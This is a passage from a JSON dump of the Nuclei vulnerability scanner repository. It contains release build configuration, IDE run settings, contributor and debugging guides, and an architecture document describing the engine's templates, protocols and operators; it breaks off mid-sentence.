    "content": "version: 2\n\nbefore:\n  hooks:\n    - go mod download\n    - go mod verify\n\nbuilds:\n  - main: cmd/nuclei/main.go\n    binary: nuclei\n    id: nuclei-cli\n    env:\n      - CGO_ENABLED=0\n      - GOEXPERIMENT=greenteagc\n    goos: [windows, linux, darwin]\n    goarch: [amd64, '386', arm, arm64]\n    ignore:\n      - goos: darwin\n        goarch: '386'\n      - goos: windows\n        goarch: arm\n      - goos: windows\n        goarch: arm64\n    flags:\n      - -trimpath\n      - -pgo=auto\n    ldflags:\n      - -s\n      - -w\n\n#- main: cmd/tmc/main.go\n#  binary: tmc\n#  id: annotate\n#\n#  env:\n#  - CGO_ENABLED=0\n#\n#  goos: [linux]\n#  goarch: [amd64]\n\narchives:\n  - formats: [zip]\n    id: nuclei\n    ids: [nuclei-cli]\n    name_template: '{{ .ProjectName }}_{{ .Version }}_{{ if eq .Os \"darwin\" }}macOS{{ else }}{{ .Os }}{{ end }}_{{ .Arch }}'\n\nchecksum:\n  algorithm: sha256\n\ndockers:\n  - image_templates:\n      - \"projectdiscovery/{{ .ProjectName }}:{{ .Tag }}-amd64\"\n      - \"projectdiscovery/{{ .ProjectName }}:v{{ .Major }}.{{ .Minor }}-amd64\"\n      - \"projectdiscovery/{{ .ProjectName }}:v{{ .Major }}-amd64\"\n      - \"projectdiscovery/{{ .ProjectName }}:latest-amd64\"\n    dockerfile: Dockerfile.goreleaser\n    use: buildx\n    build_flag_templates:\n      - \"--pull\"\n      - \"--platform=linux/amd64\"\n      - \"--label=org.opencontainers.image.created={{ .Date }}\"\n      - \"--label=org.opencontainers.image.ref.name={{ .Tag }}\"\n      - \"--label=org.opencontainers.image.revision={{ .FullCommit }}\"\n      - \"--label=org.opencontainers.image.version={{ .Version }}\"\n    goarch: amd64\n  - image_templates:\n      - \"projectdiscovery/{{ .ProjectName }}:{{ .Tag }}-arm64\"\n      - \"projectdiscovery/{{ .ProjectName }}:v{{ .Major }}.{{ .Minor }}-arm64\"\n      - \"projectdiscovery/{{ .ProjectName }}:v{{ .Major }}-arm64\"\n      - \"projectdiscovery/{{ .ProjectName }}:latest-arm64\"\n    dockerfile: Dockerfile.goreleaser\n    use: buildx\n    build_flag_templates:\n      - \"--pull\"\n      - \"--platform=linux/arm64\"\n      - \"--label=org.opencontainers.image.created={{ .Date }}\"\n      - \"--label=org.opencontainers.image.ref.name={{ .Tag }}\"\n      - \"--label=org.opencontainers.image.revision={{ .FullCommit }}\"\n      - \"--label=org.opencontainers.image.version={{ .Version }}\"\n    goarch: arm64\n  # # NOTE(dwisiswant0): chromium doesn't support 32-bit on alpine\n  # - image_templates:\n  #     - \"projectdiscovery/{{ .ProjectName }}:{{ .Tag }}-386\"\n  #     - \"projectdiscovery/{{ .ProjectName }}:v{{ .Major }}.{{ .Minor }}-386\"\n  #     - \"projectdiscovery/{{ .ProjectName }}:v{{ .Major }}-386\"\n  #     - \"projectdiscovery/{{ .ProjectName }}:latest-386\"\n  #   dockerfile: Dockerfile.goreleaser\n  #   use: buildx\n  #   build_flag_templates:\n  #     - \"--pull\"\n  #     - \"--platform=linux/386\"\n  #     - \"--label=org.opencontainers.image.created={{ .Date }}\"\n  #     - \"--label=org.opencontainers.image.ref.name={{ .Tag }}\"\n  #     - \"--label=org.opencontainers.image.revision={{ .FullCommit }}\"\n  #     - \"--label=org.opencontainers.image.version={{ .Version }}\"\n  #   goarch: \"386\"\n\ndocker_manifests:\n  - name_template: \"projectdiscovery/{{ .ProjectName }}:{{ .Tag }}\"\n    image_templates:\n      - \"projectdiscovery/{{ .ProjectName }}:{{ .Tag }}-amd64\"\n      - \"projectdiscovery/{{ .ProjectName }}:{{ .Tag }}-arm64\"\n  - name_template: \"projectdiscovery/{{ .ProjectName }}:v{{ .Major }}.{{ .Minor }}\"\n    image_templates:\n      - \"projectdiscovery/{{ .ProjectName }}:v{{ .Major }}.{{ .Minor }}-amd64\"\n      - \"projectdiscovery/{{ .ProjectName }}:v{{ .Major }}.{{ .Minor }}-arm64\"\n  - name_template: \"projectdiscovery/{{ .ProjectName }}:v{{ .Major }}\"\n    image_templates:\n      - \"projectdiscovery/{{ .ProjectName }}:v{{ .Major }}-amd64\"\n      - \"projectdiscovery/{{ .ProjectName }}:v{{ .Major }}-arm64\"\n  - name_template: \"projectdiscovery/{{ .ProjectName }}:latest\"\n    image_templates:\n      - \"projectdiscovery/{{ .ProjectName }}:latest-amd64\"\n      - \"projectdiscovery/{{ .ProjectName }}:latest-arm64\"\n\nannounce:\n  slack:\n    enabled: true\n    channel: '#release'\n    username: GoReleaser\n    message_template: 'New Release: {{ .ProjectName }} {{.Tag}} is published! Check it out at {{ .ReleaseURL }}'\n\n  discord:\n    enabled: true\n    message_template: '**New Release: {{ .ProjectName }} {{.Tag}}** is published! Check it out at {{ .ReleaseURL }}'"
  },
  {
    "path": ".run/DSLFunctionsIT.run.xml",
    "content": "<component name=\"ProjectRunConfigurationManager\">\n  <configuration default=\"false\" name=\"DSLFunctionsIT\" type=\"GoApplicationRunConfiguration\" factoryName=\"Go Application\">\n    <module name=\"nuclei\" />\n    <working_directory value=\"$PROJECT_DIR$/integration_tests\" />\n    <envs>\n      <env name=\"DEBUG\" value=\"true\" />\n      <env name=\"TESTS\" value=\"http/dsl-functions.yaml\" />\n    </envs>\n    <kind value=\"PACKAGE\" />\n    <package value=\"github.com/projectdiscovery/nuclei/v3/cmd/integration-test\" />\n    <directory value=\"$PROJECT_DIR$\" />\n    <filePath value=\"$PROJECT_DIR$/cmd/integration-test/integration-test.go\" />\n    <method v=\"2\" />\n  </configuration>\n</component>"
  },
  {
    "path": ".run/IntegrationTests.run.xml",
    "content": "<component name=\"ProjectRunConfigurationManager\">\n  <configuration default=\"false\" name=\"IntegrationTests\" type=\"ShConfigurationType\">\n    <option name=\"SCRIPT_TEXT\" value=\"\" />\n    <option name=\"INDEPENDENT_SCRIPT_PATH\" value=\"true\" />\n    <option name=\"SCRIPT_PATH\" value=\"$PROJECT_DIR$/integration_tests/run.sh\" />\n    <option name=\"SCRIPT_OPTIONS\" value=\"\" />\n    <option name=\"INDEPENDENT_SCRIPT_WORKING_DIRECTORY\" value=\"true\" />\n    <option name=\"SCRIPT_WORKING_DIRECTORY\" value=\"$PROJECT_DIR$/integration_tests/\" />\n    <option name=\"INDEPENDENT_INTERPRETER_PATH\" value=\"true\" />\n    <option name=\"INTERPRETER_PATH\" value=\"/bin/zsh\" />\n    <option name=\"INTERPRETER_OPTIONS\" value=\"\" />\n    <option name=\"EXECUTE_IN_TERMINAL\" value=\"true\" />\n    <option name=\"EXECUTE_SCRIPT_FILE\" value=\"true\" />\n    <envs>\n      <env name=\"DEBUG\" value=\"true\" />\n    </envs>\n    <method v=\"2\" />\n  </configuration>\n</component>"
  },
  {
    "path": ".run/RegressionTests.run.xml",
    "content": "<component name=\"ProjectRunConfigurationManager\">\n  <configuration default=\"false\" name=\"RegressionTests\" type=\"ShConfigurationType\">\n    <option name=\"SCRIPT_TEXT\" value=\"\" />\n    <option name=\"INDEPENDENT_SCRIPT_PATH\" value=\"true\" />\n    <option name=\"SCRIPT_PATH\" value=\"$PROJECT_DIR$/cmd/functional-test/run.sh\" />\n    <option name=\"SCRIPT_OPTIONS\" value=\"\" />\n    <option name=\"INDEPENDENT_SCRIPT_WORKING_DIRECTORY\" value=\"true\" />\n    <option name=\"SCRIPT_WORKING_DIRECTORY\" value=\"$PROJECT_DIR$/cmd/functional-test/\" />\n    <option name=\"INDEPENDENT_INTERPRETER_PATH\" value=\"true\" />\n    <option name=\"INTERPRETER_PATH\" value=\"/bin/zsh\" />\n    <option name=\"INTERPRETER_OPTIONS\" value=\"\" />\n    <option name=\"EXECUTE_IN_TERMINAL\" value=\"true\" />\n    <option name=\"EXECUTE_SCRIPT_FILE\" value=\"true\" />\n    <envs>\n      <env name=\"DEBUG\" value=\"true\" />\n    </envs>\n    <method v=\"2\" />\n  </configuration>\n</component>"
  },
  {
    "path": ".run/UnitTests.run.xml",
    "content": "<component name=\"ProjectRunConfigurationManager\">\n  <configuration default=\"false\" name=\"UnitTests\" type=\"GoTestRunConfiguration\" factoryName=\"Go Test\">\n    <module name=\"nuclei\" />\n    <working_directory value=\"$PROJECT_DIR$/v2\" />\n    <go_parameters value=\"-i\" />\n    <kind value=\"DIRECTORY\" />\n    <directory value=\"$PROJECT_DIR$/\" />\n    <filePath value=\"$PROJECT_DIR$\" />\n    <framework value=\"gotest\" />\n    <method v=\"2\" />\n  </configuration>\n</component>"
  },
  {
    "path": "CLAUDE.md",
    "content": "# CLAUDE.md\n\nThis file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.\n\n## Project Overview\n\nNuclei is a modern, high-performance vulnerability scanner built in Go that leverages YAML-based templates for customizable vulnerability detection. It supports multiple protocols (HTTP, DNS, TCP, SSL, WebSocket, WHOIS, JavaScript, Code) and is designed for zero false positives through real-world condition simulation.\n\n## Development Commands\n\n### Building and Testing\n- `make build` - Build the main nuclei binary to ./bin/nuclei\n- `make test` - Run unit tests with race detection\n- `make integration` - Run integration tests (builds and runs test suite)\n- `make functional` - Run functional tests\n- `make vet` - Run go vet for code analysis\n- `make tidy` - Clean up go modules\n\n### Validation and Linting\n- `make template-validate` - Validate nuclei templates using the built binary\n- `go fmt ./...` - Format Go code\n- `go vet ./...` - Static analysis\n\n### Development Tools\n- `make devtools-all` - Build all development tools (bindgen, tsgen, scrapefuncs)\n- `make jsupdate-all` - Update JavaScript bindings and TypeScript definitions\n- `make docs` - Generate documentation\n- `make memogen` - Generate memoization code for JavaScript libraries\n\n### Testing Specific Components\n- Run single test: `go test -v ./pkg/path/to/package -run TestName`\n- Integration tests are in `integration_tests/` and can be run via `make integration`\n\n## Architecture Overview\n\n### Core Components\n- **cmd/nuclei** - Main CLI entry point with flag parsing and configuration\n- **internal/runner** - Core runner that orchestrates the entire scanning process\n- **pkg/core** - Execution engine with work pools and template clustering\n- **pkg/templates** - Template parsing, compilation, and management\n- **pkg/protocols** - Protocol implementations (HTTP, DNS, Network, etc.)\n- **pkg/operators** - Matching and extraction logic (matchers/extractors)\n- **pkg/catalog** - Template discovery and loading from disk/remote sources\n\n### Protocol Architecture\nEach protocol (HTTP, DNS, Network, etc.) implements:\n- Request interface with Compile(), ExecuteWithResults(), Match(), Extract() methods\n- Operators embedding for matching/extraction functionality\n- Protocol-specific request building and execution logic\n\n### Template System\n- Templates are YAML files defining vulnerability detection logic\n- Compiled into executable requests with operators (matchers/extractors)\n- Support for workflows (multistep template execution)\n- Template clustering optimizes identical requests across multiple templates\n\n### Key Execution Flow\n1. Template loading and compilation via pkg/catalog/loader\n2. Input provider setup for targets\n3. Engine creation with work pools for concurrency\n4. Template execution with result collection via operators\n5. Output writing and reporting integration\n\n### JavaScript Integration\n- Custom JavaScript runtime for code protocol templates\n- Auto-generated bindings in pkg/js/generated/\n- Library implementations in pkg/js/libs/\n- Development tools for binding generation in pkg/js/devtools/\n\n## Template Development\n- Templates located in separate nuclei-templates repository\n- YAML format with info, requests, and operators sections  \n- Support for multiple protocol types in single template\n- Built-in DSL functions for dynamic content generation\n- Template validation available via `make template-validate`\n\n## Key Directories\n- **lib/** - SDK for embedding nuclei as a library\n- **examples/** - Usage examples for different scenarios\n- **integration_tests/** - Integration test suite with protocol-specific tests\n- **pkg/fuzz/** - Fuzzing engine and DAST capabilities\n- **pkg/input/** - Input processing for various formats (Burp, OpenAPI, etc.)\n- **pkg/reporting/** - Result export and issue tracking integrations"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# Contributing to ProjectDiscovery/Nuclei\n\nWe appreciate your interest in contributing to the projectdiscovery/nuclei! This document provides some basic guidelines for contributors.\n\n## Getting Started\n\n- Always base your work from the `dev` branch, which is the development branch with the latest code.\n- Before creating a Pull Request (PR), make sure there is a corresponding issue for your contribution. If there isn't one already, please create one.\n- Include the problem description in the issue.\n\n## Pull Requests\n\nWhen creating a PR, please follow these guidelines:\n\n- Link your PR to the corresponding issue.\n- Provide context in the PR description to help reviewers understand the changes. The more information you provide, the faster the review process will be.\n- Include an example of running the tool with the changed code, if applicable. Provide 'before' and 'after' examples if possible.\n- Include steps for functional testing or replication.\n- If you're adding a new feature, make sure to include unit tests.\n\n## Code Style\n\nPlease adhere to the existing coding style for consistency.\n\n## Development\n\nTo ensure your changes work as expected and strictly adhere to the project's standards, please run the following commands before submitting a PR:\n\n- **Run tests**:\n  ```sh\n  make test\n  ```\n\n- **Run linters/vet**:\n  ```sh\n  make vet\n  ```\n\n- **Build the project**:\n  ```sh\n  make build\n  ``` \n\n## Questions\n\nIf you have any questions or need further guidance, please feel free to ask in the issue or PR, or [reach out to the maintainers](https://discord.gg/projectdiscovery).\n\nThank you for your contribution!\n\n"
  },
  {
    "path": "DEBUG.md",
    "content": "## Debugging Nuclei\n\nWhile Adding new features or fixing bugs or writing new templates to properly understand the behavior of that component, it is essential to understand what debugging options are available in nuclei. This guide lists all the debugging options available in nuclei.\n\n### Template related debugging\n\n- `-debug` flag\n\nWhen this flag is provided, nuclei will print all requests that are being sent by nuclei to the target as well as the response received from the target.\n\n- `-debug-req` flag\n\nWhen this flag is provided, nuclei will print all requests that are being sent by nuclei to the target.\n\n- `-debug-resp` flag\n\nWhen this flag is provided, nuclei will  print all responses that are being received by nuclei from the target.\n\n- `-ldf` flag\n\nWhen this flag is provided, nuclei will print the list of all helper functions available in this release of nuclei and exit.\n\n- `-svd` flag\n\nWhen this flag is provided, nuclei will print all `variables` pre- and post-execution of a request for a template. This is useful to understand what variables are available for a template and what values they have.\n\n- `-elog = errors.txt` flag\n\nWhen this flag is provided, nuclei will log all errors to the file specified. This is helpful when running large scans.\n\n\n\n### Environment Variable Switches\n\nNuclei was built with some environment variables in mind to help with debugging. These environment variables can be set to enable debugging of a particular component/functionality for nuclei.\n\n| Environment Variable             | Description                                              |\n| -------------------------------- | -------------------------------------------------------- |\n| `DEBUG=true`                     | Enables Printing Stack Traces for all errors             |\n| `SHOW_DSL_ERRORS=true`           | Enables Printing DSL Errors (that are hidden by default) |\n| `HIDE_TEMPLATE_SIG_WARNING=true` | Hides Template Signature Verification Warnings           |\n| `NUCLEI_LOG_ALL=true`            | Log All Events that were skipped in verbose mode         |\n| `NUCLEI_CONFIG_DIR`              | Sets custom configuration directory path                 |\n| `NUCLEI_TEMPLATES_DIR`           | Sets custom nuclei templates directory path              |\n\n\n\n"
  },
  {
    "path": "DESIGN.md",
    "content": "# Nuclei Architecture Document\n\nA brief overview of Nuclei Engine architecture. This document will be kept updated as the engine progresses.\n\n## pkg/templates\n\n### Template\n\nTemplate is the basic unit of input to the engine which describes the requests to be made, matching to be done, data to extract, etc.\n\nThe template structure is described here. Template level attributes are defined here as well as convenience methods to validate, parse and compile templates creating executers. \n\nAny attributes etc. required for the template, engine or requests to function are also set here.\n\nWorkflows are also compiled, their templates are loaded and compiled as well. Any validations etc. on the paths provided are also done here.\n\n`Parse` function is the main entry point which returns a template for a `filePath` and `executorOptions`. It compiles all the requests for the templates, all the workflows, as well as any self-contained request etc. It also caches the templates in an in-memory cache.\n\n### Preprocessors\n\nPreprocessors are also applied here which can do things at template level. They get data of the template which they can alter at will on runtime. This is used in the engine to do random string generation.\n\nCustom processor can be used if they satisfy the following interface.\n\n```go\ntype Preprocessor interface {\n\tProcess(data []byte) []byte\n}\n```\n\n## pkg/model\n\nModel package implements Information structure for Nuclei Templates. `Info` contains all major metadata information for the template. `Classification` structure can also be used to provide additional context to vulnerability data.\n\nIt also specifies a `WorkflowLoader` interface that is used during workflow loading in template compilation stage.\n\n```go\ntype WorkflowLoader interface {\n\tGetTemplatePathsByTags(tags []string) []string\n\tGetTemplatePaths(templatesList []string, noValidate bool) []string\n}\n```\n\n## pkg/protocols\n\nProtocols package implements all the request protocols supported by Nuclei. This includes http, dns, network, headless and file requests as of now. \n\n### Request\n\nIt exposes a `Request` interface that is implemented by all the request protocols supported.\n\n```go\n// Request is an interface implemented any protocol based request generator.\ntype Request interface {\n\tCompile(options *ExecuterOptions) error\n\tRequests() int\n\tGetID() string\n\tMatch(data map[string]interface{}, matcher *matchers.Matcher) (bool, []string)\n\tExtract(data map[string]interface{}, matcher *extractors.Extractor) map[string]struct{}\n\tExecuteWithResults(input string, dynamicValues, previous output.InternalEvent, callback OutputEventCallback) error\n\tMakeResultEventItem(wrapped *output.InternalWrappedEvent) *output.ResultEvent\n\tMakeResultEvent(wrapped *output.InternalWrappedEvent) []*output.ResultEvent\n\tGetCompiledOperators() []*operators.Operators\n}\n```\n\nMany of these methods are similar across protocols while some are very protocol specific. \n\nA brief overview of the methods is provided below -\n\n- **Compile** - Compiles the request with provided options.\n- **Requests** - Returns total requests made.\n- **GetID** - Returns any ID for the request\n- **Match** - Used to perform matching for patterns using matchers\n- **Extract** - Used to perform extraction for patterns using extractors\n- **ExecuteWithResults** - Request execution function for input.\n- **MakeResultEventItem** - Creates a single result event for the intermediate `InternalWrappedEvent` output structure.\n- **MakeResultEvent** - Returns a slice of results based on an `InternalWrappedEvent` internal output event.\n- **GetCompiledOperators** - Returns the compiled operators for the request.\n\n`MakeDefaultResultEvent` function can be used as a default for `MakeResultEvent` function when no protocol-specific features need to be implemented for result generation. \n\nFor reference protocol requests implementations, one can look at the below packages  - \n\n1. [pkg/protocols/http](./pkg/protocols/http)\n2. [pkg/protocols/dns](./pkg/protocols/dns)\n3. [pkg/protocols/network](./pkg/protocols/network)\n\n### Executer\n\nAll these different requests interfaces are converted to an Executer which is also an interface defined in `pkg/protocols` which is used during final execution of the template.\n\n```go\n// Executer is an interface implemented any protocol based request executer.\ntype Executer interface {\n\tCompile() error\n\tRequests() int\n\tExecute(input string) (bool, error)\n\tExecuteWithResults(input string, callback OutputEventCallback) error\n}\n```\n\nThe `ExecuteWithResults` function accepts a callback, which gets provided with results during execution in form of `*output.InternalWrappedEvent` structure.\n\nThe default executer is provided in `pkg/protocols/common/executer` . It takes a list of Requests and relevant `ExecuterOptions` and implements the Executer interface required for template execution. The executer during Template compilation process is created from this package and used as-is.\n\nA different executer is the Clustered Requests executer which implements the Nuclei Request clustering functionality in `pkg/templates`  We have a single HTTP  request in cases where multiple templates can be clustered and multiple operator lists to match/extract. The first HTTP request is executed while all the template matcher/extractor are evaluated separately.\n\nFor Workflow execution, a separate RunWorkflow function is used which executes the workflow independently of the template execution.\n\nWith this basic premise set, we can now start exploring the current runner implementation which will also walk us through the architecture of nuclei.\n\n## internal/runner\n\n### Template loading\n\nThe first process after all CLI specific initialisation is the loading of template/workflow paths that the user wants to run. This is done by the packages described below.\n\n#### pkg/catalog\n\nThis package is used to get paths using mixed syntax. It takes a template directory and performs resolving for template paths both from provided template and current user directory.\n\nThe syntax is very versatile and can include filenames, glob patterns, directories, absolute paths, and relative-paths.\n\n\n\nNext step is the initialisation of the reporting modules which is handled in `pkg/reporting`.  \n\n#### pkg/reporting\n\nReporting module contains exporters and trackers as well as a module for deduplication and a module for result formatting. \n\nExporters and Trackers are interfaces defined in pkg/reporting.\n\n```go\n// Tracker is an interface implemented by an issue tracker\ntype Tracker interface {\n\tCreateIssue(event *output.ResultEvent) error\n}\n\n// Exporter is an interface implemented by an issue exporter\ntype Exporter interface {\n\tClose() error\n\tExport(event *output.ResultEvent) error\n}\n```\n\nExporters include `Elasticsearch`, `markdown`, `sarif` . Trackers include `GitHub`, `GitLab` and `Jira`.\n\nEach exporter and trackers implement their own configuration in YAML format and are very modular in nature, so adding new ones is easy.\n\n\n\nAfter reading all the inputs from various sources and initialisation other miscellaneous options, the next bit is the output writing which is done using `pkg/output` module.\n\n#### pkg/output\n\nOutput package implements the output writing functionality for Nuclei.\n\nOutput Writer implements the Writer interface which is called each time a result is found for nuclei.\n\n```go\n// Writer is an interface which writes output to somewhere for nuclei events.\ntype Writer interface {\n\tClose()\n\tColorizer() aurora.Aurora\n\tWrite(*ResultEvent) error\n\tRequest(templateID, url, requestType string, err error)\n}\n```\n\nResultEvent structure is passed to the Nuclei Output Writer which contains the entire detail of a found result. Various intermediary types like `InternalWrappedEvent` and `InternalEvent` are used throughout nuclei protocols and matchers to describe results in various stages of execution.\n\n\n\n Interactsh is also initialised if it is not explicitly disabled. \n\n#### pkg/protocols/common/interactsh\n\nInteractsh module is used to provide automatic Out-of-Band vulnerability identification in Nuclei. \n\nIt uses two LRU caches, one for storing interactions for request URLs and one for storing requests for interaction URL. These both caches are used to correlated requests received to the Interactsh OOB server and Nuclei Instance. [Interactsh Client](https://github.com/projectdiscovery/interactsh/pkg/client) package does most of the heavy lifting of this module.\n\nPolling for interactions and server registration only starts when a template uses the interactsh module and is executed by nuclei. After that no registration is required for the entire run.\n\n\n\n### RunEnumeration\n\nNext we arrive in the `RunEnumeration` function of the runner.\n\n`HostErrorsCache` is initialised which is used throughout the run of Nuclei enumeration to keep track of errors per host and skip further requests if the errors are greater than the provided threshold. The functionality for the error tracking cache is defined in [hosterrorscache.go](https://github.com/projectdiscovery/nuclei/blob/main/pkg/protocols/common/hosterrorscache/hosterrorscache.go) and is pretty simplistic in nature.\n\nNext the `WorkflowLoader` is initialised which used to load workflows. It exists in `pkg/parsers/workflow_loader.go`\n\nThe loader is initialised moving forward which is responsible for Using Catalog, Passed Tags, Filters, Paths, etc. to return compiled `Templates` and `Workflows`. \n\n#### pkg/catalog/loader\n\nFirst the input passed by the user as paths is normalised to absolute paths which is done by the `pkg/catalog` module.  Next the path filter module is used to remove the excluded template/workflows paths.\n\n`pkg/parsers` module's `LoadTemplate`,`LoadWorkflow` functions are used to check if the templates pass the validation + are not excluded via tags/severity/etc. filters. If all checks are passed, then the template/workflow is parsed and returned in a compiled form by the `pkg/templates`'s `Parse` function.\n\n`Parse` function performs compilation of all the requests in a template + creates Executers from them returning a runnable Template/Workflow structure.\n\nClustering module comes in next whose job is to cluster identical HTTP GET requests together (as a lot of the templates perform the same get requests many times, it's a good way to save many requests on large scans with lots of templates). \n\n### pkg/operators\n\nOperators package implements all the matching and extracting logic of Nuclei. \n\n```go\n// Operators contain the operators that can be applied on protocols\ntype Operators struct {\n\tMatchers []*matchers.Matcher\n\tExtractors []*extractors.Extractor\n\tMatchersCondition string\n}\n```\n\nA protocol only needs to embed the `operators.Operators` type shown above, and it can utilise all the matching/extracting functionality of nuclei.\n\n```go\n// MatchFunc performs matching operation for a matcher on model and returns true or false.\ntype MatchFunc func(data map[string]interface{}, matcher *matchers.Matcher) (bool, []string)\n\n// ExtractFunc performs extracting operation for an extractor on model and returns true or false.\ntype ExtractFunc func(data map[string]interface{}, matcher *extractors.Extractor) map[string]struct{}\n\n// Execute executes the operators on data and returns a result structure\nfunc (operators *Operators) Execute(data map[string]interface{}, match MatchFunc, extract ExtractFunc, isDebug bool) (*Result, bool) \n```\n\nThe core of this process is the Execute function which takes an input dictionary as well as a Match and Extract function and return a `Result` structure which is used later during nuclei execution to check for results.\n\n```go\n// Result is a result structure created from operators running on data.\ntype Result struct {\n\tMatched bool\n\tExtracted bool\n\tMatches map[string][]string\n\tExtracts map[string][]string\n\tOutputExtracts []string\n\tDynamicValues map[string]interface{}\n\tPayloadValues map[string]interface{}\n}\n```\n\nThe internal logics for matching and extracting for things like words, regexes, jq, paths, etc. is specified in `pkg/operators/matchers`, `pkg/operators/extractors`. Those packages should be investigated for further look into the topic.\n\n\n### Template Execution\n\n`pkg/core` provides the engine mechanism which runs the templates/workflows on inputs. It exposes an `Execute` function which does the task of execution while also doing template clustering. The clustering can also be disabled optionally by the user.\n \nAn example of using the core engine is provided below.\n\n```go\nengine := core.New(r.options)\nengine.SetExecuterOptions(executerOpts)\nresults := engine.ExecuteWithOpts(finalTemplates, r.hmapInputProvider, true)\n```\n\n### Adding a New Protocol\n\nProtocols form the core of Nuclei Engine. All the request types like `http`, `dns`, etc. are implemented in form of protocol requests.\n\nA protocol must implement the `Protocol` and `Request` interfaces described above in `pkg/protocols`. We'll take the example of an existing protocol implementation - websocket for this short reference around Nuclei internals.\n\nThe code for the websocket protocol is contained in `pkg/protocols/others/websocket`. \n\nBelow a high level skeleton of the websocket implementation is provided with all the important parts present.\n\n```go\npackage websocket\n\n// Request is a request for the Websocket protocol\ntype Request struct {\n\t// Operators for the current request go here.\n\toperators.Operators `yaml:\",inline,omitempty\"`\n\tCompiledOperators   *operators.Operators `yaml:\"-\"`\n\n\t// description: |\n\t//   Address contains address for the request\n\tAddress string `yaml:\"address,omitempty\" jsonschema:\"title=address for the websocket request,description=Address contains address for the request\"`\n\n    // declarations here\n}\n\n// Compile compiles the request generators preparing any requests possible.\nfunc (r *Request) Compile(options *protocols.ExecuterOptions) error {\n\tr.options = options\n\n    // request compilation here as well as client creation\n \n\tif len(r.Matchers) > 0 || len(r.Extractors) > 0 {\n\t\tcompiled := &r.Operators\n\t\tif err := compiled.Compile(); err != nil {\n\t\t\treturn errors.Wrap(err, \"could not compile operators\")\n\t\t}\n\t\tr.CompiledOperators = compiled\n\t}\n\treturn nil\n}\n\n// Requests returns the total number of requests the rule will perform\nfunc (r *Request) Requests() int {\n\tif r.generator != nil {\n\t\treturn r.generator.NewIterator().Total()\n\t}\n\treturn 1\n}\n\n// GetID returns the ID for the request if any.\nfunc (r *Request) GetID() string {\n\treturn \"\"\n}\n\n// ExecuteWithResults executes the protocol requests and returns results instead of writing them.\nfunc (r *Request) ExecuteWithResults(input string, dynamicValues, previous output.InternalEvent, callback protocols.OutputEventCallback) error {\n    // payloads init here\n\tif err := r.executeRequestWithPayloads(input, hostname, value, previous, callback); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\n// ExecuteWithResults executes the protocol requests and returns results instead of writing them.\nfunc (r *Request) executeRequestWithPayloads(input, hostname string, dynamicValues, previous output.InternalEvent, callback protocols.OutputEventCallback) error {\n\theader := http.Header{}\n\n    // make the actual request here after setting all options\n\n\tevent := eventcreator.CreateEventWithAdditionalOptions(r, data, r.options.Options.Debug || r.options.Options.DebugResponse, func(internalWrappedEvent *output.InternalWrappedEvent) {\n\t\tinternalWrappedEvent.OperatorsResult.PayloadValues = payloadValues\n\t})\n\tif r.options.Options.Debug || r.options.Options.DebugResponse {\n\t\tresponseOutput := responseBuilder.String()\n\t\tgologger.Debug().Msgf(\"[%s] Dumped Websocket response for %s\", r.options.TemplateID, input)\n\t\tgologger.Print().Msgf(\"%s\", responsehighlighter.Highlight(event.OperatorsResult, responseOutput, r.options.Options.NoColor))\n\t}\n\n\tcallback(event)\n\treturn nil\n}\n\nfunc (r *Request) MakeResultEventItem(wrapped *output.InternalWrappedEvent) *output.ResultEvent {\n\tdata := &output.ResultEvent{\n\t\tTemplateID:       types.ToString(r.options.TemplateID),\n\t\tTemplatePath:     types.ToString(r.options.TemplatePath),\n\t\t// ... setting more values for result event\n\t}\n\treturn data\n}\n\n// Match performs matching operation for a matcher on model and returns:\n// true and a list of matched snippets if the matcher type is supports it\n// otherwise false and an empty string slice\nfunc (r *Request) Match(data map[string]interface{}, matcher *matchers.Matcher) (bool, []string) {\n\treturn protocols.MakeDefaultMatchFunc(data, matcher)\n}\n\n// Extract performs extracting operation for an extractor on model and returns true or false.\nfunc (r *Request) Extract(data map[string]interface{}, matcher *extractors.Extractor) map[string]struct{} {\n\treturn protocols.MakeDefaultExtractFunc(data, matcher)\n}\n\n// MakeResultEvent creates a result event from internal wrapped event\nfunc (r *Request) MakeResultEvent(wrapped *output.InternalWrappedEvent) []*output.ResultEvent {\n\treturn protocols.MakeDefaultResultEvent(r, wrapped)\n}\n\n// GetCompiledOperators returns a list of the compiled operators\nfunc (r *Request) GetCompiledOperators() []*operators.Operators {\n\treturn []*operators.Operators{r.CompiledOperators}\n}\n\n// Type returns the type of the protocol request\nfunc (r *Request) Type() templateTypes.ProtocolType {\n\treturn templateTypes.WebsocketProtocol\n}\n```\n\nAlmost all of these protocols have boilerplate functions for which default implementations have been provided in the `providers` package. Examples are the implementation of `Match`, `Extract`, `MakeResultEvent`, `GetCompiledOperators`, etc. which are almost same throughout Nuclei protocols code. It is enough to copy-paste them unless customization is required.\n\n`eventcreator` package offers `CreateEventWithAdditionalOptions` function which can be used to create result events after doing request execution.\n\nStep by step description of how to add a new protocol to Nuclei - \n\n1. Add the protocol implementation in `pkg/protocols` directory. If it's a small protocol with fewer options, considering adding it to the `pkg/protocols/others` directory. Add the enum for the new protocol to `pkg/templates/types/types.go`.\n\n2. Add the protocol request structure to the `Template` structure fields. This is done in `pkg/templates/templates.go` with the corresponding import line.\n\n```go\n\nimport (\n\t...\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/others/websocket\"\n)\n\n// Template is a YAML input file which defines all the requests and\n// other metadata for a template.\ntype Template struct {\n\t...\n\t// description: |\n\t//   Websocket contains the Websocket request to make in the template.\n\tRequestsWebsocket []*websocket.Request `yaml:\"websocket,omitempty\" json:\"websocket,omitempty\" jsonschema:\"title=websocket requests to make,description=Websocket requests to make for the template\"`\n\t...\n}\n```\n\nAlso add the protocol case to the `Type` function as well as the `TemplateTypes` array in the same `templates.go` file.\n\n```go\n// TemplateTypes is a list of accepted template types\nvar TemplateTypes = []string{\n\t...\n\t\"websocket\",\n}\n\n// Type returns the type of the template\nfunc (t *Template) Type() templateTypes.ProtocolType {\n\t...\n\tcase len(t.RequestsWebsocket) > 0:\n\t\treturn templateTypes.WebsocketProtocol\n\tdefault:\n\t\treturn \"\"\n\t}\n}\n```\n\n3. Add the protocol request to the `Requests` function and `compileProtocolRequests` function in the `compile.go` file in same directory.\n\n```go\n\n// Requests return the total request count for the template\nfunc (template *Template) Requests() int {\n\treturn len(template.RequestsDNS) +\n\t\t...\n\t\tlen(template.RequestsSSL) +\n\t\tlen(template.RequestsWebsocket)\n}\n\n\n// compileProtocolRequests compiles all the protocol requests for the 